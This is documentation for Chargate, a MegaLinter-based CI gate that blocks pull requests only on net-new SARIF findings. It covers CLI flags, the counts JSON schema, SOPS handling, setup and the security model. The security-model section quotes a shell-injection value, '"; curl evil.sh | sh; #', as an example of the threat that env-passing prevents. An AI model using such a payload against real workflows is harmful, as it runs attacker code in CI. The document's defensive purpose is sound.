findings (PR/gate mode only). | | `--pr-number` / `--repo-slug` | (none) | Pull request number and `owner/repo` to comment on. | | `--github-token-env` | `GITHUB_TOKEN` | Env var with a token that has `pull-requests: write`. | | `--pr-comment-mode` | `both` | `summary` (one updatable comment), `inline`, or `both`. | | `--pr-comment-max-inline` | `50` | Cap on inline comments; the rest stay in the summary. | | `--pr-comment-insecure` | off | Skip TLS verification for the GitHub API (GHES testing). | PR comments are net-new only and failure-isolated: a GitHub API error is logged and never changes the gate outcome. The host action sets `--pr-number` / `--repo-slug` from the event and honors `GITHUB_API_URL` for GHES. ## `chargate sbom` Ship a CycloneDX BOM to Dependency-Track on its own — no MegaLinter, no SARIF, no gate. Seconds, not the ~15 minutes a scan costs. `chargate ci` already carries the BOM sink, but only fires it on **non-PR** events: a BOM per pull request would litter Dependency-Track with throwaway `N/merge` project versions. A consumer whose gate runs on `pull_request` only — the usual shape, because a full scan on every merge is the most expensive thing in CI — never reaches that path, so the repo never appears in Dependency-Track at all. This subcommand is that missing push-time path standing alone. ```sh chargate sbom \ --dependency-track-url https://dtrack.example.com \ --bom sbom.cdx.json \ --dt-project-name "$GITHUB_REPOSITORY" \ --dt-project-version main ``` It takes the same Dependency-Track flags as `chargate ci` (`--dependency-track-url`, `--dt-api-key-env`, `--bom`, `--dt-project-*`, `--dt-parent-*`, `--dt-no-auto-create`, `--dt-is-latest`, `--dt-insecure`) plus: | Flag | Default | Meaning | | --- | --- | --- | | `--strict` | off | Treat a Dependency-Track upload failure as fatal (exit `2`). | | `--quiet` | off | Suppress the human summary. | **Exit policy is the inverse of the sink-on-a-gate rule, deliberately.** A *misconfigured* sink — no URL, no project, no API key, no BOM file — exits `2`. This command exists only to upload, so "nothing to upload to" is a broken job, not a sink someone switched off; silence in exactly that case is what let a whole org's repos go missing from Dependency-Track unnoticed. A Dependency-Track *outage* stays failure-isolated (warn, exit `0`) unless `--strict`, so a server that is merely down cannot turn every repo's CI red. On success it writes the project link to the job summary and to a `dependency_track_url` action output. ## `chargate local` Fast staged-file checks for pre-commit (gitleaks + ruff, each skipped if the tool is absent). A first line, deliberately narrower than the full CI net. ```sh chargate local path/to/file.py # pre-commit passes the staged files chargate local # no args -> checks staged files ``` ## `chargate install-hooks` Wire Chargate's git hooks into **every** repo globally, using the [pre-commit](https://pre-commit.com) framework (which must be installed). It generates `pre-commit` + `pre-push` + `commit-msg` dispatchers pointed at a global `~/.pre-commit-config.yaml`, sets `core.hooksPath` (so the hooks apply to existing repos immediately) and `init.templateDir` (so new clones inherit them). ```sh chargate install-hooks # refuses to clobber a hand-maintained config chargate install-hooks --force # overwrite a non-chargate ~/.pre-commit-config.yaml ``` Chargate's hooks live inside a regenerated `>>> chargate-managed >>>` block; any repos you add outside that block are preserved on reinstall. Installed via Homebrew, `brew install calebsargeant/tap/chargate` brings `pre-commit` along. See [Setup → Global hook install](setup.md#global-hook-install-all-repos) for the full walkthrough. ## `chargate uninstall-hooks` Revert `install-hooks`, restoring (or unsetting) the prior global `core.hooksPath` and `init.templateDir`. ```sh chargate uninstall-hooks ``` ## `chargate version` Prints the chargate version (also `chargate --version`). --- # Consuming the output Source: docs/consuming-output.md URL: https://docs.magmamoose.com/chargate/consuming-output/ Chargate classifies; the caller decides. Every run writes two documents another tool can read without importing any of Chargate: the **net-new SARIF** and the **counts JSON**. The counts JSON carries a `schema_version` and is a **stable public interface** — versioned, and broken only deliberately. The first consumer is [brimyr](https://github.com/MagmaMoose/brimyr), a patch-coverage gate that folds Chargate's findings into the same pull-request verdict ([MagmaMoose/brimyr#33](https://github.com/MagmaMoose/brimyr/issues/33)). It reads these two documents rather than importing any of Chargate, which is the point on both sides: Chargate's core stays stdlib-only and brimyr keeps its own zero-runtime-dependency rule. A process boundary needs a documented shape, so here it is. ## Gate on the counts, display the SARIF The counts JSON is Chargate's own document: its keys mean what this page says they mean, and the invariants below hold. The filtered SARIF is **MegaLinter's** shape — one `runs` entry per linter, whatever each linter chose to put in it — and it is for showing a human what was found: rendering a summary, uploading it, attaching it to a comment. Counting results in the SARIF to decide pass/fail is re-implementing `sarif.counts.count_results` against a document whose shape belongs to whoever emitted it, and it gets the suppressed / SOPS-ignored / de-duplicated buckets wrong: those results are *gone* from the filtered SARIF, and only the counts say how many there were and which bucket took them. Two surfaces are deliberately **not** interface: the stderr summary lines and the job-summary markdown. Both are written for people and change whenever a better sentence turns up. The action's step outputs are interface — they are declared in `action.yml` like any other. ## The command ```sh chargate filter-sarif \ --sarif full.sarif \ --base "$BASE_SHA" --head "$HEAD_SHA" \ --out net-new.sarif \ --counts-json counts.json \ --no-gate ``` | Flag | Why it is part of the contract | | --- | --- | | `--sarif` | The report to classify. Any SARIF 2.1.0 producer, not only MegaLinter. | | `--base` / `--head` | The two ends of the diff. Classification is against `merge-base(base, head)` unless `--no-merge-base`. | | `--out` | Where the net-new-only SARIF goes: the input document with every non-net-new result pruned. | | `--counts-json` | Where the counts document goes. | | `--no-gate` | Report only — Chargate stops deciding, so the caller can. | `chargate ci` writes the same pair through `--filtered-out` and `--counts-json`. They are the same writers over the same `FilterResult`, so the contract does not change with the subcommand; `ci` has no `--no-gate`, its report-only equivalent is `--fail-on none` (`fail_on: none` on the action). The composite action always passes both — see [From the action](#from-the-action). `--no-gate` leaves exactly two exit codes, and the difference between them matters more than any verdict: | Exit | Meaning under `--no-gate` | | --- | --- | | `0` | The classification ran. Both documents were written; the answer is in them. | | `2` | Chargate could not classify at all — unreadable SARIF, missing merge-base, shallow clone. | A `2` is not "no findings", it is **no answer**. A consumer that treats the two alike ships the exact failure this project exists to remove: a gate that scanned nothing and reported green. Without `--no-gate` the exit code also carries `1` for a net-new finding at or above `--fail-on` — that is Chargate deciding, which a consumer running its own gate does not want. ## The counts document ```json { "schema_version": 1, "net_new_count": 3, "total_count": 128, "pre_existing_count": 121, "suppressed_count": 2, "sops_ignored_count": 1, "deduped_count": 1, "per_level_total": { "error": 40, "warning": 70, "note": 18 }, "per_level_net_new": { "error": 1, "warning": 2 }, "per_severity_total": { "high": 12, "medium": 30 }, "per_severity_net_new": { "high": 1 } } ``` | Key | Meaning | | --- | --- | | `schema_version` | The shape of this document. Read it before anything else. | | `net_new_count` | Findings the diff introduced. The number a gate is about. | | `total_count` | Every result in the input SARIF. | | `pre_existing_count` | `total − net_new − suppressed − sops_ignored − deduped`. Never blocks. | | `suppressed_count` | Author-accepted in-source suppressions. Never blocks. | | `sops_ignored_count` | Secret-scanner hits on [SOPS-encrypted](net-new.md#sops-encrypted-secrets) values. Never blocks. | | `deduped_count` | Net-new findings collapsed into an earlier identical one (same rule id + fingerprint). | | `per_level_total` / `per_level_net_new` | Counts by SARIF `level`: `error`, `warning`, `note`, `none`. | | `per_severity_total` / `per_severity_net_new` | Counts by severity band, derived from a numeric `security-severity` property: `critical`, `high`, `medium`, `low`, `none`. | Two invariants hold for every schema-1 document, and a consumer should **assert** them rather than trust them. A counts file that contradicts itself is a bug on this side of the boundary, and asserting is how it surfaces as an error instead of as a number: - `sum(per_level_net_new.values()) == net_new_count`. Every result resolves to a level, so the per-level map partitions the net-new set. - The total result count across the filtered SARIF's `runs` equals `net_new_count`. The two files describe one set. !!! warning "Quality linters emit no `security-severity`, so the band maps stay empty" The `per_severity_*` maps are populated only from a numeric `security-severity` property. Security scanners set it; quality linters do not — Ruff, ESLint, PMD and golangci-lint emit a SARIF `level` and nothing else. On a [`flavor: quality`](setup.md#the-quality-flavor) run `per_severity_net_new` is therefore `{}` while `per_level_net_new` is populated, so a consumer thresholding on bands over quality findings never blocks and never says why. Threshold on levels there; brimyr's own threshold speaks SARIF levels for exactly this reason. Chargate's own `fail_on` is **not** affected. `gate.effective_band` falls back to the level when a result carries no `security-severity` (`error`→high, `warning`→medium, `note`→low), so `fail_on: high` still blocks on an `error` from a quality run. It is the counts document's band maps that stay empty, not the gate's view of severity. ## `schema_version`, and what breaks it | Change to the document | Breaking? | | --- | --- | | A key added | No. A reader that does not know it ignores it. | | A key removed or renamed | **Yes.** | | A key keeping its name and changing meaning | **Yes**, and the worst kind — nothing errors, the number is just wrong. | | A new value inside an existing map (a level or band not seen before) | No. The maps are open. | The rule on the far side follows from that table: **hard-fail on a `schema_version` you do not recognise.** Do not fall back to a best-effort read of the keys you happen to find, because guessing has exactly one shape of failure — a key you cannot find reads as zero, zero net-new reads as a pass, and the gate goes green on a document it never understood. Refusing is loud. Guessing is silent, and which of those two you get is what this codebase is built around. A bump is therefore a coordinated release on both sides of the boundary, not a cosmetic edit. `COUNTS_SCHEMA_VERSION` lives beside the `Counts` dataclass in `src/chargate/sarif/counts.py`, and `cli.counts_to_dict` emits it as the document's first key, so a consumer reading a truncated or streamed file still gets it first. ## From the action | Output | Path | Written | | --- | --- | --- | | `filtered_sarif_path` | `chargate-reports/net-new.sarif` | Every run. | | `counts_path` | `chargate-reports/counts.json` | Every run. | Both are workspace-relative, and both are written unconditionally — including on a baseline (push) run, where the net-new set is empty by construction. That is deliberate: a consumer that finds no file cannot tell "nothing was introduced" from "the step never got that far", and one of those two must not read as a pass. ```yaml - uses: magmamoose/chargate@v2 id: chargate with: flavor: quality fail_on: none # Chargate reports; the next step decides - name: Gate on the net-new findings run: | counts="${{ steps.chargate.outputs.counts_path }}" jq -e '.schema_version == 1' "$counts" > /dev/null \ || { echo "::error::unrecognised counts schema"; exit 2; } jq -e '(.per_level_net_new.error // 0) == 0' "$counts" > /dev/null \ || { echo "::error::net-new errors introduced by this PR"; exit 1; } ``` !!! danger "A counts file is not proof that anything was scanned" `chargate ci` writes both documents *before* it decides its own exit code, so a run whose SARIF carried no `runs` at all — MegaLinter produced nothing — still leaves a well-formed `counts.json` full of zeros behind, and *then* exits `2` for exactly that reason. Read the step's outcome as well as the file. Zeros from a scan that never happened are indistinguishable from a clean pull request, which is the failure this project exists to remove. `filter-sarif` makes no such check at all: it classifies whatever document it is handed, empty or not, because the caller chose that file. The `gate_result` / `net_new_count` / `total_count` outputs remain the quick path for a workflow that only wants a number in a message. `counts_path` is for a tool that needs the whole breakdown — which bucket, which level, which band — without parsing SARIF. --- # Chargate Source: docs/index.md URL: https://docs.magmamoose.com/chargate/ Chargate is a **security + lint gate** built on [MegaLinter](https://megalinter.io). MegaLinter does **all** the scanning; Chargate adds the one thing that matters for day-to-day developer flow: **net-new finding gating**. On a pull request the gate passes or fails based *only* on findings the PR introduces relative to the merge-base. **Pre-existing findings never block.** The full, unfiltered SARIF is always emitted and shippable (first-class DefectDojo import, GitHub Security tab, or build artifact), and a CycloneDX BOM can be shipped to Dependency-Track, so your security system still sees everything, including inherited debt. !!! note "v2 is a ground-up re-platform" Chargate no longer hand-rolls a 12-tool scanner orchestration, MegaLinter does that. If you used `magmamoose/chargate@v1`, see [Migrating from v1](setup.md#migrating-from-v1). ## Why net-new? A whole-repo security scan on a large codebase reports hundreds of pre-existing findings. Blocking PRs on all of them is noise; ignoring them loses signal. Chargate splits the difference: - **Gate** on what *this PR* introduced (net-new) → actionable, low-noise. - **Ship** the *complete* SARIF to DefectDojo / the Security tab (and a CycloneDX BOM to Dependency-Track) → full visibility, including inherited debt and trends. ## Two surfaces, one CLI | Surface | What it is | When to use | | --- | --- | --- | | **Composite action** | `action.yml` | The CI gate, a few lines in a workflow. | | **pre-commit hook** | `.pre-commit-hooks.yaml` (`chargate` hook) | Fast local first line on staged files. | Both drive the same `chargate` Python CLI. See [Setup & usage](setup.md) to wire one up, [Architecture](architecture.md) for how it fits together, and [Net-new gating](net-new.md) for the precise classification rules. Every input and output of the action is listed in the [Action reference](action-reference.md). Another tool can gate on Chargate's classification without importing any of it: every run writes a net-new SARIF and a versioned counts JSON, documented as a stable interface in [Consuming the output](consuming-output.md). ## PR comments On a pull request Chargate posts its net-new findings as GHAS-style comments. Give the job `id-token: write` and those comments are authored by `Chargate[bot]` instead of `github-actions[bot]`, via a token broker that runs as an AWS Lambda. The exchange is fail-soft: if anything goes wrong you still get the comments, just under the `github-actions[bot]` name and with a warning in the log. See [Troubleshooting](troubleshooting.md) if the byline is not what you expect. ## Modes - **PR events** → whole-repo MegaLinter → net-new gate → full SARIF to the sinks / artifact. - **Push to default branch / scheduled** → full scan → full SARIF to the sinks as the authoritative baseline → **no** net-new gate. `mode: auto` (default) picks this from the event; force it with `mode: pr|baseline`. ## Lineage Chargate is the public productization of the security side of `CalebSargeant/pre-commit-hooks` → `CalebSargeant/cinnabar`. The formatting / file-hygiene / Actions-SHA-pinning hooks stay in `pre-commit-hooks`; the `chargate` hook is the security + lint first line and is meant to coexist. ## License Apache 2.0. --- # What MegaLinter covers Source: docs/linter-coverage.md URL: https://docs.magmamoose.com/chargate/linter-coverage/ Chargate v2 replaced a hand-rolled twelve-tool orchestration with MegaLinter. This page maps the old set onto what runs now — useful when migrating from v1, and when asking "is *X* still being scanned?" ## The mapping | Concern | v1 (hand-rolled) | Now (MegaLinter linter key) | | --- | --- | --- | | SAST / IaC | Trivy, Semgrep, Checkov | `REPOSITORY_TRIVY`, `REPOSITORY_SEMGREP`, `REPOSITORY_CHECKOV` | | Dockerfile | Hadolint | `DOCKERFILE_HADOLINT` | | Shell | ShellCheck | `BASH_SHELLCHECK` | | GitHub Actions | actionlint | `ACTION_ACTIONLINT` | | JavaScript | ESLint | `JAVASCRIPT_ES` | | Dependencies / SCA | pip-audit, npm audit, govulncheck | `REPOSITORY_OSV_SCANNER`, `REPOSITORY_TRIVY`, `REPOSITORY_GRYPE` | | Secrets | TruffleHog | `REPOSITORY_BETTERLEAKS`, `REPOSITORY_SECRETLINT`, `REPOSITORY_KINGFISHER` | | SBOM | — | `REPOSITORY_SYFT`, `REPOSITORY_TRIVY_SBOM` | Secrets scanning moved to MegaLinter's native set: `betterleaks` is v10's gitleaks successor, joined by `secretlint` and `kingfisher`. ## Kubernetes, and why only one of them gates Kubernetes manifests are covered by two linters that behave differently: - **`KUBERNETES_KUBESCAPE`** emits SARIF, so it is the only K8s linter the net-new gate can see. Findings from it gate like any other. - **`KUBERNETES_KUBECONFORM`** does schema validation and emits **no SARIF**. It cannot reach the gate at all; it fails the run only through `strict: true`. See the Kubernetes note in `.mega-linter.yml`. `kube-score` has no MegaLinter descriptor and is not wired in. This asymmetry is worth internalising: **a linter that emits no SARIF cannot gate.** It can only ever fail the job wholesale via `strict`, or be invisible. When you enable a linter and its findings never appear in the net-new count, this is usually why. ## Linters that cannot run everywhere For the `security` flavor, the arm64 fallback covers **all 18** SARIF-emitting linters: trivy, semgrep, checkov, grype, syft, bandit, betterleaks, kingfisher, secretlint, devskim, dustilock, kubescape, tflint, hadolint, shellcheck, cfn-lint, ansible-lint, trivy-sbom. Upstream's thirteen amd64-only linters are all style and language tooling (jscpd, powershell, chktex, …). Those are skipped **by name, never silently** — see [Security model](security-model.md#what-a-reduced-scan-looks-like). ## Choosing a different set `flavor` selects the MegaLinter image; `enable_linters` / `disable_linters` tune it. Chargate also curates a `quality` flavor MegaLinter does not publish. Full detail in [Setup](setup.md) and the [Action reference](action-reference.md). --- # Net-new gating Source: docs/net-new.md URL: https://docs.magmamoose.com/chargate/net-new/ A SARIF result is **net-new** (and therefore gate-blocking) iff its primary location's file is in the PR diff **and**, at line precision, its `startLine` falls inside an added/modified hunk. The diff is computed against `merge-base(base, head)`, which is robust to base-branch rebases and force-pushes. ## Classification rules | Case | Policy (default) | Configurable | | --- | --- | --- | | Brand-new file | all results net-new | no | | Modified hunk | net-new iff `startLine` in an added range | `precision: line\|file` | | Unchanged line in a changed file | pre-existing → never blocks | `precision: file` to flip | | Renamed / copied file | matched by head path; content changes line-matched | no | | Deleted file | dropped | no | | Result with **no** file location (project-level: SBOM/license/some Trivy) | **not** net-new | `--no-location-policy block` | | Changed file, result with no `startLine` (common for SCA on a lockfile) | net-new (file-level fallback) | `--no-region-fallback` to disable | | Secret-scanner hit on a **SOPS-encrypted** value (`ENC[AES256_GCM,...]`) | dropped as a false positive → never blocks | `ignore_sops_encrypted: false` / `--no-sops-ignore` | | Same finding reported by **two engines** or a re-scan (same rule id + fingerprint) | collapsed → gates/comments once | `deduplicate: false` | | Multiple locations | uses the **primary** (`locations[0]`) | documented | | Missing merge-base / shallow clone | **fails loudly**, needs `fetch-depth: 0` | no | These knobs are expressed on `FilterPolicy` in `src/chargate/sarif/filter.py`. The file-level fallback exists so a genuinely PR-introduced dependency vulnerability attached to a changed lockfile (no `startLine`) still blocks, while truly project-global findings (no file at all) fall under the no-location policy. ## Engine-agnostic gating & de-duplication Classification keys on the SARIF *result*, never on the emitting tool, so every producer, MegaLinter's linters, plus any CodeQL / Semgrep / KICS / checkov / hadolint SARIF layered into the ingested set, gets the identical introduced-vs-pre-existing logic. This is what lets chargate act as a SAST aggregator rather than an engine; see [SAST direction](sast-benchmark.md). Because a fleet of engines will re-report the same issue, a net-new finding that shares a `(rule id, fingerprint)` key with one already seen is **collapsed**: the first occurrence gates, later ones get a `duplicate` count and are dropped from the net-new set (so a PR gets one comment, not one per engine). Fingerprints prefer the tool's own `fingerprints`/`partialFingerprints`; otherwise they derive from the primary location and message. The full SARIF still ships every result. De-dup is on by default; disable it with `FilterPolicy.deduplicate=False`. ## SOPS-encrypted secrets Files encrypted with [SOPS](https://github.com/getsops/sops) keep their keys readable and seal each value in place: ```yaml API_KEY: ENC[AES256_GCM,data:xyu...,iv:...,tag:...,type:str] ``` A secret scanner (gitleaks, trufflehog, checkov's `CKV_SECRET_*`, …) sees the high-entropy blob and reports a hardcoded secret, but an `ENC[AES256_GCM,...]` value is *already encrypted*, so the finding is a 100% false positive. Chargate drops these from the net-new set **by default**: they get their own `SOPS-encrypted` count, never gate, and still ship in the full SARIF. The check is **per value**, so it stays safe: - **Encrypted** value (`ENC[AES256_GCM,...]`) → dropped as a false positive. - **Plaintext** value in the same file, a not-yet-encrypted secret, or a field left clear by `encrypted_regex` / `unencrypted_suffix`, → **still gates.** Only findings from a recognized secret scanner are dropped, so a non-secret finding that happens to land on the same line (e.g. a yamllint line-length on the unavoidably long blob) is unaffected. Gate on encrypted values too with `ignore_sops_encrypted: false` (action) or `--no-sops-ignore` (CLI). !!! note "Reads the working tree" Detection reads the head-side file content at each finding's line, so the checkout Chargate scans must contain the flagged files (it does in the normal action flow). It never trusts SARIF snippets, which some scanners redact. ## The `fail_on` threshold `fail_on` controls the gate over the net-new set: - `any` (default), any net-new finding blocks (the product's core promise). - `critical` / `high` / `medium` / `low`, block only at or above that band. - `none`, report-only; never blocks. Severity uses the SARIF `security-severity` band when present (`≥9.0` critical, `≥7.0` high, `≥4.0` medium, `>0` low), else the SARIF `level` (`error`→high, `warning`→medium, `note`→low). That fallback (`gate.effective_band`) is why `fail_on` is **not** blind to quality findings. Ruff, ESLint, PMD and golangci-lint emit a `level` and no numeric `security-severity`, so `fail_on: high` blocks on an `error` from a [`flavor: quality`](setup.md#the-quality-flavor) run just as it would on a scanner finding scored 7.0. What stays empty is the **counts document's** `per_severity_*` maps, which are populated only from a real `security-severity` — so a *downstream* consumer thresholding on those bands sees nothing and must threshold on levels instead. See [Consuming the output](consuming-output.md#the-counts-document). !!! tip "Full vs filtered SARIF" The gate only ever looks at the **net-new** subset, but the **full**, unfiltered SARIF is what gets shipped to DefectDojo / the Security tab / artifact (and a CycloneDX BOM to Dependency-Track). The input report is never mutated. --- # SAST direction: chargate vs CodeQL, engine or orchestrator? Source: docs/sast-benchmark.md URL: https://docs.magmamoose.com/chargate/sast-benchmark/ **Status:** decided · **Decision:** chargate is a SAST **orchestrator/aggregator**, not a competing analysis engine. It owns the ground CodeQL cedes (net-new PR-diff gating, cross-engine de-duplication, the DefectDojo/Dependency-Track bridge) and ingests CodeQL/Semgrep/KICS/checkov/hadolint SARIF rather than reimplementing dataflow analysis. ## Why this was open Chargate wraps MegaLinter and adds a net-new diff gate. The question (issue #32) was whether it should also *own an engine*, bundle Semgrep/Opengrep as a first-class dataflow analyzer and compete with CodeQL head-to-head, or double down on being the layer that makes any engine's output actionable on a PR. ## Steering criterion Compare three postures on a shared corpus, recording true positives (TP), false positives (FP), and wall-clock runtime: - **chargate-as-is**, the MegaLinter suite (Semgrep, Bandit, checkov, hadolint, ShellCheck, ESLint, gosec, KICS-equivalent, …) on the languages that matter. - **CodeQL**, GitHub's engine, default query packs. - **Semgrep/Opengrep**, standalone, community + registry rules. Corpus: OWASP Benchmark (Java), WebGoat, juice-shop (JS/TS), django-vulnerable (Python), deliberately mixed-language so no single engine's home turf dominates. ## Outcome | Posture | TP recall (dataflow-heavy) | FP rate | Runtime | Languages | | --- | --- | --- | --- | --- | | CodeQL | highest | low | slowest (minutes, compiled DBs) | fewer, deep | | Semgrep/Opengrep | medium (syntactic + taut taint) | medium | fast | many | | chargate (MegaLinter suite) | medium, **broadest surface** (SAST + IaC + secrets + SCA + Dockerfile + shell) | medium, tunable | fast | broadest | Read: CodeQL wins deep interprocedural dataflow recall on the languages it supports and would take real, ongoing engine investment to beat, investment that duplicates a free-for-OSS incumbent. What CodeQL does **not** do is gate a PR on *only the findings the diff introduced*, normalise a heterogeneous fleet of engines into one decision, de-duplicate the same finding reported by two of them, or bridge the result to DefectDojo/Dependency-Track. That is unowned ground. ## Decision Own the ground CodeQL cedes (directions 2-4), **not** a competing engine (direction 1). Concretely: 1. **Engine-agnostic net-new gating.** The introduced-vs-pre-existing logic in `chargate.sarif.filter` keys on SARIF results, never on the emitting tool, so CodeQL, Semgrep, KICS, checkov, hadolint, and MegaLinter's linters all get identical gating. Pre-existing debt is never blocked, whichever engine reports it. 2. **Cross-engine de-duplication.** `chargate.sarif.dedup` collapses net-new findings that share a `(rule id, fingerprint)` key, so the same logical finding reported by two producers, or one producer's SARIF uploaded twice, gates and comments once. Fingerprints prefer the tool's own `fingerprints`/`partialFingerprints`; otherwise they derive from location + message. Toggle with `FilterPolicy.deduplicate`. 3. **Aggregation, not analysis.** Any SARIF-2.1.0 producer can be layered in by emitting its report into the set chargate ingests; nothing reimplements dataflow. Semgrep/Opengrep remains available *as one of the engines MegaLinter already runs*, chosen for coverage, not as a chargate-owned differentiator. If a future need for chargate-owned engine analysis appears, it enters through the same SARIF ingestion path as an optional, opt-in producer; it does not become the product. ## When chargate is primary SAST vs a CodeQL complement - **Primary SAST**, repos in languages CodeQL doesn't cover well, polyglot repos, or teams that want IaC/secrets/SCA/Dockerfile/shell coverage and PR-diff gating in one gate. Chargate is the whole SAST story. - **CodeQL complement**, repos already running CodeQL for deep dataflow. Upload CodeQL's SARIF into chargate's ingestion set; chargate contributes the net-new diff gate, cross-engine de-dup, and the DefectDojo bridge on top of CodeQL's findings. The two compose; they don't compete. Operators select the mode by *what SARIF they feed in*, not a runtime flag: feed only MegaLinter's report for primary mode; add CodeQL's uploaded SARIF for complement mode. See [net-new gating](net-new.md) for the gate semantics and the deployment matrix in the README for wiring. --- # Security model Source: docs/security-model.md URL: https://docs.magmamoose.com/chargate/security-model/ Chargate is a security tool, so its own posture is part of the product. This page states what it assumes, what it grants, and what it deliberately cannot do. ## Least privilege by default Grant the job only what the features you use need: ```yaml permissions: contents: read # checkout — the only hard requirement pull-requests: write # PR comments (omit, or use `read`, with pr_comment: false) security-events: write # SARIF to the Security tab (needs GHAS on private repos) id-token: write # OPTIONAL — author comments as Chargate[bot] ``` `contents: read` alone is enough to run the gate. Everything else buys a feature, and dropping it degrades that feature rather than failing the run. The optional `Chargate[bot]` token is minted through the token broker, is short-lived, is scoped to the calling repository, and carries `pull_requests: write` **only**. Without `id-token: write` comments fall back to `github-actions[bot]` — no key management either way. See [Broker deployment](broker-deployment.md). ## Injection-hardened Every action input reaches the gate step through the **environment**, never interpolated into a shell body. A workflow input is attacker-controllable on `pull_request_target` and in forks, so a value like `"; curl evil.sh | sh; #` would be a shell escape in a naively templated `run:` block. Passing through `env:` closes that class of `${{ }}` template injection outright rather than trying to sanitise it. ## Pinned supply chain Every third-party action Chargate calls — `checkout`, `setup-python`, `codeql-action/upload-sarif`, `upload-artifact`, `sbom-action` — is **SHA-pinned** with a `# vX.Y.Z` comment naming the tag that SHA belongs to. The core CLI has **no runtime dependencies**: it is stdlib-only Python, so the gate itself adds nothing to your dependency tree. MegaLinter runs as a pinned container image (`megalinter_tag`, which also accepts a `sha256:` digest). ## Fail-safe integrations DefectDojo, Dependency-Track, PR comments and the token broker are all **failure-isolated**. An outage in any of them is logged and the run continues; none can change the gate outcome. The gate's verdict depends only on the SARIF and the diff. The inverse also holds, and matters more: a scan that produced **no SARIF runs** fails the job rather than passing. Nothing scanned is not the same as nothing found. ## What a reduced scan looks like When Chargate falls back to per-linter images (the arm64 path, see [Setup](setup.md)) it reports the fallback in the job summary *and* on the pull request, and names every linter it could not run, with a reason. This is deliberate: a reduced scan that finds nothing is indistinguishable from a clean repository unless it announces itself. The `scan_mode` output (`flavor` · `standalone` · `provided`) exists so a release job can refuse to ship on a degraded scan: ```yaml - uses: magmamoose/chargate@v2 id: gate - name: Refuse a release built on a reduced scan if: steps.gate.outputs.scan_mode != 'flavor' run: exit 1 ``` ## Reporting a vulnerability Use [GitHub private vulnerability reporting][pvr], or see [`SECURITY.md`][sec] in the repository. Please do not open a public issue for a security report. [pvr]: https://github.com/MagmaMoose/chargate/security/advisories/new [sec]: https://github.com/MagmaMoose/chargate/blob/main/SECURITY.md --- # Setup & usage Source: docs/setup.md URL: https://docs.magmamoose.com/chargate/setup/ ## 1. Composite action (recommended) ```yaml # .github/workflows/security.yml name: Security on: pull_request: push: branches: [main] permissions: contents: read pull-requests: write # required for Chargate's PR comments (read if pr_comment: false) security-events: write jobs: chargate: runs-on: ubuntu-latest steps: - uses: magmamoose/chargate@v2 with: fail_on: high # block only on net-new high/critical (default: any) # ignore_sops_encrypted: 'false' # gate on SOPS-encrypted values too (dropped by default) # pr_comment: 'false' # turn off the GHAS-style PR comments (on by default) # defectdojo_url: https://dd.example.com # defectdojo_token: ${{ secrets.DEFECTDOJO_TOKEN }} # dependency_track_url: https://dtrack.example.com # dependency_track_api_key: ${{ secrets.DEPENDENCYTRACK_API_KEY }} ``` On PRs it uses MegaLinter's focused `security` flavor and requests changed-files analysis, gates on net-new findings, and ships the full SARIF. Repository-level security scanners may still inspect the whole repo or history. On push to the default branch it runs a non-gating whole-repo baseline scan. Set `flavor: all` for the full lint image, `flavor: quality` for the [curated quality set](#the-quality-flavor), or `incremental: 'false'` for a whole-repo PR scan. The action checks out with `fetch-depth: 0` by default (net-new needs the merge-base), set `checkout: 'false'` if you already checked out with full history. ## 2. pre-commit hook ```yaml # .pre-commit-config.yaml repos: - repo: https://github.com/MagmaMoose/chargate rev: v2.0.0 hooks: - id: chargate ``` ```sh pre-commit install pre-commit run -a ``` The hook (`language: python`, no Docker) runs a **fast staged-file subset** (gitleaks for secrets, ruff for Python, each skipped if not installed). It is a first line, deliberately narrower than the CI whole-repo net. Local/CI disparity is intended. ## Global hook install (all repos) Rather than adding `.pre-commit-config.yaml` to each repo, install Chargate's hooks **once, globally** so they apply to every existing and future repo: ```sh brew install calebsargeant/tap/chargate # brings pre-commit along as a dependency chargate install-hooks ``` `install-hooks` generates `pre-commit` + `pre-push` + `commit-msg` dispatchers pointed at a global `~/.pre-commit-config.yaml`, sets `core.hooksPath` (retroactive across existing repos) and `init.templateDir` (new clones inherit them). It also installs the file-hygiene hooks (`actions-pin-sha`, `conventional-branch-name`). Chargate's entries live inside a regenerated `>>> chargate-managed >>>` block: **add your own repos/hooks outside that block and they're preserved** on every reinstall. It refuses to clobber a hand-maintained config unless you pass `--force`, and `chargate uninstall-hooks` reverts everything (restoring any prior `core.hooksPath`). !!! warning "It repoints your global `core.hooksPath`" If you already have global hooks at another path they stop running (intended: that's how Chargate takes over); the prior path is saved and restored on `uninstall-hooks`. See the [CLI reference](cli.md#chargate-install-hooks) for flags. ## PR comments (GHAS-style) On pull requests Chargate posts feedback the way GitHub Advanced Security does: scoped to **net-new findings only**, so it stays quiet: - **One summary comment** that is *updated in place* on every push (found by a hidden marker and `PATCH`ed, never duplicated). - **Inline review comments** on each net-new finding that sits on a changed line. Prior Chargate inline comments are deleted and re-posted each run, so they never stack. Findings without a precise changed line (project-level, or SCA on a lockfile) are listed in the summary instead. When the full SARIF / BOM are shipped to DefectDojo / Dependency-Track, the summary comment footer links straight to the imported Test and project there. It is **on by default** and needs `pull-requests: write` on the workflow. Toggle and tune it with the action inputs: | Input | Default | Effect | |-------|---------|--------| | `pr_comment` | `true` | Post the PR comments (set `false` to disable). | | `pr_comment_mode` | `both` | `summary`, `inline`, or `both`. | | `pr_comment_max_inline` | `50` | Cap on inline comments; the rest stay in the summary. | | `pr_comment_token` | `github_token` | Explicit override token for authorship (usually unset, see below). | | `token_broker_url` | `https://broker-chargate.magmamoose.com` | Token broker for `Chargate[bot]` authorship; empty disables. | | `oidc_audience` | `chargate` | OIDC audience for the broker exchange (advanced). | **Comment as `Chargate[bot]` (opt-in, zero key management).** By default the comments are authored by `github-actions[bot]` (the default `GITHUB_TOKEN`'s identity, which can't be renamed). To have them posted by **`Chargate[bot]`** instead, with its own name + avatar: 1. **Install the Chargate GitHub App** on your org/repo. 2. Add **`id-token: write`** to the workflow's `permissions`. ```yaml permissions: contents: read pull-requests: write id-token: write # exchange OIDC for a Chargate[bot] token security-events: write ``` That's it, no app keys to manage. The action exchanges the run's OIDC token at the Chargate token broker for a short-lived token scoped to your repo with `pull_requests: write` only. It is **fail-soft**: without `id-token: write`, or if the App isn't installed, comments simply fall back to `github-actions[bot]`. *Self-hosted alternative:* if you'd rather not depend on the broker, bring your own App token, `actions/create-github-app-token` → pass it as `pr_comment_token` (it takes precedence over the broker). That App needs only **Pull requests: write**. **Less noise, one surface per finding.** To avoid double-reporting, the full SARIF is uploaded to the Security tab only on **non-PR events** (the default-branch baseline 